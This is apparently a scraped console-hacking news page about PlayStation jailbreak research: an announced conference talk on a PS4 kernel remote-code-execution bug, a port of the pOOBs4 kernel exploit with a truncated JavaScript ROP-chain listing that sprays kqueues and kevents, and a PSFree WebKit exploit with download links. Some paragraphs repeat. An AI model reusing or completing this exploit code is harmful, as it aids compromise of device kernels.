PSXHAX.COM website and domain for sale. Contact Us with your offer!
PS4 Kernel RCE Talk on CVE-2006-4304 by TheFloW0 at TyphoonCon 2024
Following his BD-JB PS5 Userland Exploit 7.61 Firmware Revision, Security Researcher theflow0 confirmed via Twitter that he'll be giving a talk on CVE-2006-4304 (Remote Vulnerabilities in SPP) affecting PS4 up to FW 11.00 and PS5 up to FW 8.20 at the Moxy Seoul Myeongdong All Offensive Security Conference which runs from May 27th-31st, 2024 covering a PlayStation 4 Kernel Remote Code Execution (RCE) Exploit enabling a jailbreak without requiring a user entry (such as a WebKit) point. 
This comes proceeding the PSFree WebKit Exploit Updates, Aapo's HackerOne PlayStation Hacktivity Critical Vulnerability Report, PS4PayloadSDK 10.50-11.02 Support update and recent CVE-2006-4304 PoC... with Andy Nguyen's presentation details outlined below courtesy of TyphoonCon.com:
PlayStation 4 Kernel RCE
Date: May 30-31, 2024
Talk Overview:
This talk will be about successful exploitation of kernel vulnerabilities in a network protocol on the PlayStation 4 which is based on FreeBSD.
I show how internals of the IPv6 protocol can be abused to achieve an information leak and to redirect control...
This comes proceeding the PSFree WebKit Exploit Updates, Aapo's HackerOne PlayStation Hacktivity Critical Vulnerability Report, PS4PayloadSDK 10.50-11.02 Support update and recent CVE-2006-4304 PoC... with Andy Nguyen's presentation details outlined below courtesy of TyphoonCon.com:
PlayStation 4 Kernel RCE
Date: May 30-31, 2024
Talk Overview:
This talk will be about successful exploitation of kernel vulnerabilities in a network protocol on the PlayStation 4 which is based on FreeBSD.
I show how internals of the IPv6 protocol can be abused to achieve an information leak and to redirect control...
PS4 9.00 pOOBs4 Kernel Exploit (KeX) Port to 8.0x Firmware by ABC
Following the PSFree WebKit Exploit for PS4 6.00 to 9.60 & QuickHEN PS4 incoming, PS4Scene developer abc on Discord shared a PS4 9.00 pOOBs4 Kernel Exploit (KeX) Port to 8.0x Firmware adding the additional details below via PlayStation Devwiki Discord:
Just ported pOOBs4's trigger_spray() to 8.0x and it reliably triggers a kernel panic. This suggests that pOOBs4 can easily replace unreliable kernel exploits in other firmwares.
Just set up the firmware's ROP runner (p.launch_chain()) to execute the chains at trigger_spray() and use that to load the patches instead.
Just ported pOOBs4's trigger_spray() to 8.0x and it reliably triggers a kernel panic. This suggests that pOOBs4 can easily replace unreliable kernel exploits in other firmwares.
Just set up the firmware's ROP runner (p.launch_chain()) to execute the chains at trigger_spray() and use that to load the patches instead.
Code:
function trigger_oob() {
init();
const chain = new Chain();
const num_kqueue = 0x1b0;
const kqueues = new Uint32Array(num_kqueue);
const kqueues_p = get_view_vector(kqueues);
for (let i = 0; i < num_kqueue; i++) {
chain.push_syscall('kqueue');
chain.push_gadget('pop rdi; ret');
chain.push_value(kqueues_p.add(i * 4));
chain.push_gadget('mov dword ptr [rdi], eax; ret');
}
chain.push_end();
chain.run();
chain.clean();
const AF_INET = 2;
const SOCK_STREAM = 1;
// socket descriptor
chain.syscall('socket', AF_INET, SOCK_STREAM, 0);
const sd = chain.return_value;
// 0x100 <= sd < 200
// pOOBs4 wasn't checking the higher 32 bits, pretty sure they want to
// since (maybe) they are trying to manipulate kqueue_expand()
if (sd.low() < 0x100 || sd.low() >= 0x200 || sd.high() !== 0) {
die(`invalid socket: ${sd}`);
}
debug_log(`socket descriptor: ${sd}`);
// spray kevents
const kevent = new Uint8Array(0x20);
const kevent_p = get_view_vector(kevent);
kevent_p.write64(0, sd);
// EV_ADD and EVFILT_READ
kevent_p.write32(0x8, 0x1ffff);
kevent_p.write32(0xc, 0);
kevent_p.write64(0x10...
PSFree WebKit Exploit for PS4, QuickHEN, Lua Lapse PS4 / PS5 Kernel Exploit & Laps3c0re / Y2JB
This weekend PS4 Scene developer @CelesteBlue announced on Twitter news of a PSFree WebKit Exploit for PS4 6.00 to 9.60 crediting Sergei Glazunov and Maddie Stone (Twitter) of Project Zero for discovering the vulnerability, anonymous for writing the PSFree Exploit and himself for testing, porting and improvements alongside a QuickHEN PS4 collection incoming of WebKit exploits for PlayStation 4 System Software versions between 3.15 and 9.60 with Kernel exploits between 3.15 and 9.00 only albeit requiring more work and Laps3c0re which is a port of the Lapse kernel exploit implementation by abc using Mast1c0re by McCaulay as an entry point and Y2JB Userland code execution by Gezine using the PS5 YouTube (USA) app v1.03 PKG crediting Remote_Lua_Loader. 
Download: psfree-1.2.0.zip (39.93 KB) / GIT / PSFree Exploit (Live Demo) via @zecoxao on Twitter / psfree-beta2.7z (16.34 KB) via...
Download: psfree-1.2.0.zip (39.93 KB) / GIT / PSFree Exploit (Live Demo) via @zecoxao on Twitter / psfree-beta2.7z (16.34 KB) via...